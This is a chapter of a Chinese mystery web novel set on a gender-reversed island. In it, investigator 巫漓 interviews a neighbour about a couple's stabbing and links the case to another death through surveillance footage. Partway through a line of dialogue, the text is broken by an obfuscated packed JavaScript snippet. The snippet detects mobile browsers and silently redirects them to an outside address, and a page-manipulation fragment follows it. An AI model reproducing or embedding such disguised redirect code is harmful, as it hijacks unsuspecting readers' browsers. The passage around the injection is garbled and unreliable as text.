“巫小姐,时间太晚了,我们快点去找邻居问话吧,不然人家也该睡了。” 巫漓深吸了一口气,在心里给自己打了把气,答应道:“好。” 18.孤魂岛 巫漓敲开邻居家的门。 一个身穿围裙,家庭主夫模样的男人开了门,有些局促地在围裙上擦了擦手。屋里的小男孩叫着“亻马亻马,亻马亻马”,正在看新闻的女人站起来拉住小男孩,也走到门边。 “欸,你不是那个岛外的……” 女人先开口了,直接走到门外来问巫漓。 “啊,我是……”巫漓尴尬地笑了一下,没话找话地问女人:“新闻上有我的照片了?” “嗨,没有。”女人大咧咧地摆摆手,“新闻上怎么可能有这种涉及隐私的东西?因为我是在行政大楼工作的,你的血还是我检验的呢,你是叫那个……巫什么……巫漓的是吧?” “对……对。” 巫漓对女人的这种自来熟不太习惯。 穿着围裙的男人也意识到了不妥,嗔怪着拍了一下女人的胳膊。 “你少说两句啦,人家是和警察来问话的,你怎么一上来就跟人家套近乎?多没礼貌啊。” 女人单手把男人搂紧,当着巫漓的面就开始打情骂俏起来。 “我们女人就是不能太文静嘛,有你们男人帮我们心细地看着又不会出什么事,这就是妻夫搭配的功效……好了,你去洗碗吧,我来和警察说话。你一会赶紧哄我们家那位小美男要睡觉,今天已经熬到很晚了,再不睡觉的话,明天长了黑眼圈就不能和他亻马亻马一样漂亮了。” 男人害羞地摸着自己的脸,一边往客厅里缩一边说:“真是的,当着别人的面,你们这些女子汉就是不知道害臊……” 女人转过身对巫漓说:“我老公就是脸皮薄,不敢见人。” “没事没事。”巫漓觉得自己站在这里相当尴尬,但是来都来了,也没有半途而废的道理。 “警察同志你们之前不是来过了吗?是不是还有什么没有问清楚的?”女人问随行警察。 巫漓点头道:“是的,因为我刚到,对之前的情况不太了解,所以想再来问问您。” “你问啊?”女人笑着指巫漓,“你刚来就当上小官了,年轻有为嘛,不错不错。行,你想了解什么?” “我想了解一下案发时的情况,但是当时在场的是您……” 巫漓一时语塞了,本来她想问“是您先生吗?”但是杨管家之前告诉过她“先生”这个词只能用来称呼女性,所以她还不太清楚孤魂岛上要怎么称呼别人的男性伴侣。 女人接了下去,“对,两次报警的人都是我夫夫,但第一次不是误会嘛,第二次我也在场,所以我都是挺清楚的。” “那也行……” “还是我来说吧。” 男人回到玄关,打断了他们的谈话,小声和女人说:“他说非要让爸爸帮他洗澡,你赶紧去吧,别再和他玩水了,不然又要感冒。” 女人点点头,和巫漓他们说了声“抱歉”,就跑去浴室了。 男人心有余悸般捂住胸口,文文静静地说起来。 “老钟和胜女之前一直相处的很好,我连他们吵架都没怎么见过,实在是没想到他们会动手打架,还这么严重,真的是太吓人了。” “您跟他们很熟吗?” “对呀,特别是胜女,他每逢过年过节都会和我们这些挨得比较近的邻居送礼物,这一来二去的,自然也就混熟了。” “您第一次报警的时候是什么情况?” “因为我们是一梯两户嘛,结构还比较特殊,所以只要开着窗子,隔音效果就不算很好。昨天晚上,大约是和今天他们两个打架差不多的时间吧,我听到他们家里传来两个人吵架的声音,我注意听了,他们是在吵对方有没有外遇的事。但是后来老钟好像打开了电视,声音挺吵的,我就听不清他们有没有继续吵架了。我去敲他们家的门,也没有人应门,屋子里面还是很吵,我怕他们出了什么事,就打电话报警了。” “那今天晚上的情况呢?” “今天晚上和昨天晚上的状况差不多,只是比昨天晚上更严重……其实他们他们下午回来的时候,我就和他们打过招呼,但他们好像都有心事,谁也没有理我。晚上呢,他们先是又吵架,我再次去敲门和,他们说两口子没什么过不去的坎,但是老钟朝我发火,叫我不要多管闲事。” “您确定是他们本人在吵架吗?” “确定啊,我开门的时候看到他们两个人了,气氛那叫一个剑拔弩张。” “您还记得他们开始吵架的时间是几点吗?” “这……我就记不清了,大概是十点钟左右吧。因为我先生每天十点钟都会去打羽毛球,我记得她刚出门没多久,老钟他们就吵起来了。” 巫漓又发现了一点奇怪。 从十点钟开始吵架,到十一点五十二警方接到报案,这期间隔的时间也太久了吧? “接下来呢?” 男人回忆了一会,“因为老钟说让我不要多管闲事,所以我就没有再管他们的事,去书房帮我男儿辅导功课了,但还是能听见他们一直在吵架的声音。” “这么久都没有停过?” “是啊,吵得可凶了,完全没有停下来的意思。” “后面就是他们打到走廊上,被您看见,然后就报警了吗?” “也不是,他们不知道怎么回事,吵着吵着就动起刀来了。他们打到走廊上的时候我虽然听到了声音,但是也没有管,直到老钟来敲我们家的门,嘴里还不停地喊着救命,我才开了门。那个时候我先生刚好回来了,她控制住了胜女,让我赶紧打电话报警叫救护车救人。” 巫漓听男人说着,在脑海中想象当时的场景。 一个身材纤细的男人颤颤巍巍地拿着刀,而一个身材健壮的女人却被砍到毫无还手之力,以至于需要敲别人家的门求救……这点似乎不太合理。 “不对吧,我见过他们的。钟耀言比胡胜女强壮很多,怎么可能钟耀言都被砍成了重伤,胡胜女却毫发无损?” “老钟心疼夫夫呗,下不去手。倒是胜女,他这两天真的很不对劲,像换了一个人一样,我路过他身边都感觉他身上有一种暴戾的气息,吓得我赶紧绕开他走。” “他们在昨天之前还发生过什么异样吗?” “昨天之前啊?我想想啊……没有了吧。如果硬要说的话,就是上个月有一个奇怪的男人来找胜女,之后的很长一段时间胜女都像是有心事,落寞了很久。” “是个很什么样的男人?” “那个男人呐,简直比女人还要健壮,有两米多高吧。当时我正买了我家乡土特产碳烤香蕉片想送给胜女尝尝,但是胜女看到那个男人就赶紧把我给支开了,表情相当惊恐地把那人拉到家里,那个时候好像老钟还不在不在家,怕是没有人知道他们说了些什么。” “您在那之前或者之后都没有见过那个人了吗?” “再没有过了。” 巫漓心里锁定了一个人选,看向技术人员。 技术人员很快明白过来她的意思,摇头说:“时间太久了,监控查不出来,这里的监控21天自动覆盖。” “刚好错过没多久嘛……” 巫漓感叹完,又问男人:“您还记得那个人长什么样子吗?” 男人仿佛是提前想到了她会这么问,提前摇起了头,“我不可能记得那个人长什么样子的,因为我见他的时候,他就已经把自己裹得严严实实的了,根本就没有露出脸呀。” “那您怎么知道他是个男人的?” “他有胡子呗。这个年代居然还有敢不刮胡子就出门的男人,真是邋遢死了,咦……不过那个人全身上下都不脏兮兮的,还有一股汗臭味,唉哟,可恶心死人了,完全不像是能和胜女认识的男人……” “好吧,谢谢您,打扰了。” 巫漓告辞了邻居,感觉什么出乎意料的收获也没有,和技术人员一起回到了钟耀言家里。 她问技术人员:“这里的结构真的和邻居说的一样吗?他们真的只有打开窗子才可以听见对面的声音,关窗子就一点都听不到了?” “对,这块楼盘采用的都是超一流的纳米隔音技术,比一般的隔音墙效果好很多。” 巫漓认可了这个说法,因为她想到这里是孤魂岛,就连岛上的原住民都说隔音效果好,那隔音效果就一定比她能想象到的更加完美。八成是只要关上窗子,就算对面的邻居在蹦迪,这边的住户也听不到一点声音的程度。 “你们有调查过钟耀言和胡胜女两人最近几天的出行轨迹吗?” “没有。”技术人员像是在面对一个新官上任三把火的难缠上司,无奈地和巫漓解释:“昨天我们接到报案的时候,因为胡胜女不在家,钟耀言又不清楚他的去向,这才使用了人物自主检索系统。但是家暴案件的核心和当事人去了哪里关系不大,重要的是他们的动机和人际关系,所以调查他们去了哪里也是没有用的。” 巫漓现在挺困的了,技术人员看起来也好不到哪去。 为了大家的睡眠着想,巫漓没功夫再跟他们客套,直接用命令的口气说:“可我就是想知道,你们谁能帮我查一下胡胜女最近一个月的出行记录?” 一个技术人员悄悄叹了口气,不得不认命,但又非常不情愿地打开了电脑。 “我可以帮您查,但是这很复杂,需要上报的流程也不少,我这就联系局里的技术科同事加紧调查,最快明天就可以给您结果。” “我等不了这么久。胡胜女是家庭主妇,出门的次数应该不会多……” 巫漓说着,猛然想起什么,坐到了打开电脑的技术员身边。 “先把胡胜女昨天从出门到被你们找到的监控内容调给我看。这个你们昨天已经搜索过,再调出来一次应该不难吧?” “这个倒是容易。” 技术人员飞快敲了几下键盘,一块半人高的全息屏幕出现在空中。 巫漓退后两步,方便更一览无余地查看监控内容。 “加速……再快一点……嗯,可以,就这样。” 技术人员按照巫漓的要求,把监控内容调成了8倍速。 监控里,胡胜女先是气冲冲地出了门,然后在楼底徘徊了两分钟,才状似不急不忙地走到车站等公交车。但他在楼下徘徊和等公交车的时候,都有控制不住地斜眼瞟向手腕上的手表,虽然动作不大,但孤魂岛上的监控系统实在是太高清了,让巫漓想忽视掉都很难。 下了车,胡胜女也是一边装作不经意,一边目标明确地进入了乱区。 大概二十分钟后,胡胜女再次进入监控视野,是从电子系统研究大楼背后的一条小胡同里钻出来的。他喘着粗气,看起来很累。 “停。” 技术人员暂停了监控录像内容。 “这个背后是不是当时给钟耀言打电话的那个便利店?” 技术人员给她切出了一张小地图,用鼠标圈出红圈对应着说:“是的,再往东走十几米就是当时我们定位到的便利店。” “那只手机你们有收走吗?” “没有,我们去便利店里里外外都搜索过了,就是找不到那只手机。” 巫漓打开手机,调出纳彪死亡的那条新闻,递给技术人员看。 “胡胜女当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093153|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置距离这条新闻上的位置有多远?” “我看看……步行的话,大概五分钟就可以走到。” 随行警察在旁边也看出了问题,走近几步观察全息屏幕上的地图。 巫漓反倒是松了一口气,放下手机,伸了个懒腰,走到一边的皮椅上坐下。 调查到这个地步,两起案件的关系也就基本上明了了,接下来需要搞清楚的,就只剩下犯案动机和证据了。 随行警察催促技术人员:“快快快!查一下今天的家暴砍人事件发生前,胡胜女有没有出过门?” “查这个要干什么?”技术人员已经肉眼可见的憔悴了起来。 但是随行警察才不管这么多,一个劲儿催促道:“让你查你就查,结果出来我再跟你解释。” 技术人员一副命很苦的样子,一脸颓像地敲起了电脑。 另外一张切屏出来的全息屏幕上是今天晚上发生的情况。 因为监控内容没有声音,所以他们只能看到邻居满脸担忧地来敲钟家的房门,钟耀言凶神恶煞地吼了邻居几句,邻居就走了。 通过房门和钟耀言身体的间隙,监控里还准确捕捉到了房间里有胡胜女的身影…… 可是不出五分钟,后续的监控内容就变成了一片黑屏。 “这是什么情况?”随行警察急吼吼地问。 技术人员无奈地又试着放了几遍,最终还是摊手说:“我也不知道啊,这一段监控内容好像被删了,监控室里也没有这一段的影像记录。” 巫漓坐在一旁,手杵在桌子上,云淡风轻地用指甲刮着木桌的纹路。 技术人员一点一点把进度条往后拉,终于在十一点四十九分的时候,监控内容恢复了,正好录到钟耀言慌不择路冲出房门,而胡胜女拿着菜刀紧追其后的一幕。 “怎么刚好就是他们吵架的这一段被剪了?这也太……”这也太欲盖弥彰了吧!随行警察没有说出口,侧身看向巫漓。 巫漓看她欲言又止,帮她顺了下去。 “你想说什么?” “结合这一段监控被删掉的蹊跷和胡胜女去的昨天去的地方,很难让我不怀疑她和那个乱区分子的死有关系……对了,快查查今天晚上,和昨天相同的时间,胡胜女有没有去乱区附近过!” 技术人员一晚上被吆来喝去,用力闭了一下干涩的眼睛才再度敲起键盘。 巫漓已经知道这个问题的答案了,但她也没有阻止随行警察的提议,静静等待监控显示的结果。 “……和你想的不一样,这一路上的监控镜头都没有锁定到胡胜女。” “怎么可能?” 随行警察不甘心地拍了一下大腿。 巫漓依旧单手杵在桌子上,但开始循循善诱地引导那位年轻的随行警察。 “别被一点点困难吓到嘛,说说你的想法。” 随行警察的自信丧失了一些,说话也没有之前那么利索了。 “我是觉得,钟家家暴案的监控内容消失得太不正常了,刚好那个乱区分子又是在这段时间死掉的。如果今天胡胜女有去过乱区的话,我的这个推测就基本能定性了,但是……” 巫漓学了穆伈雨的语气,笑着说:“你怀疑是胡胜女假借和钟耀言的争执,跑去杀了纳彪?嗯……这也不是没有可能,但这是理想主义的推论。第一,不管是钟耀言还是胡胜女,以他们的圈层和人脉来看,他们有和纳彪接触的机会吗?第二,我问你,钟耀言的伤势怎么样?” “相当严重。” “对啊,一个做戏的人,会把伴侣砍到重伤吗?而且按照你的推测,这个被砍到重伤的人知道胡胜女全部的计划,那他为什么要甘愿牺牲到如此程度呢?就为了杀一个乱区分子?不值当的。你仔细想想就知道了,邻居全程都听到了争执的声音,而且两起案件的当事人也都没有过半点交集,你的推测有太多不合理之处了,这样的计谋是无法实施落地的……” 巫漓说话间,往胡胜女的房间走去。 一个医科大学毕业的人,房间里有手术刀,使得最好的也理应是手术刀。 他们家的厨房没有经常使用的痕迹,菜板也是崭新如初,这就说明钟耀言妻夫俩平常都不经常做饭,对菜刀的使用也并不娴熟。 胡胜女的房间离最初发生争执的客厅最近,可他在争执的下意识瞬间,还是毅然决然地冲进厨房,拿了他用着并不顺手的菜刀。 这怎么可能是一起简单的案件呢? 巫漓靠在胡胜女梳妆台边的墙上,拿出了手机,把手机滑到信息界面等待着。 事情发展到这个地步,也该有信息过来了。 嗡——嗡——嗡—— 来电提示音响起。 是穆伈雨发来的消息: [不好意思了阿漓,生物研究中心那边新出了一个成果,我必须得赶过去看看。] [杨管家就在附近,她儿子的初潮礼办到很晚,现在才刚散。她听说我有事,你又没人管,就答应帮我送你回去。] [你乖乖在那里等她一下,她马上就到。] [你回去就不用等我,直接睡就好了,反正我也没指望你真能查出什么成果,你那些歪理留着明早路上犯困的时候解闷用吧。] [我们明天八点钟出门吧,让你多睡一会。] [晚安,祝好梦~] 看到消息的一瞬间,巫漓露出了一抹意味不明的微笑。 她想,真是遗憾啊,我没有戴墨镜。要是被别人看到这副场景的话,那就像是邀请别人观看自己的心思在裸.奔一样,叫人为难。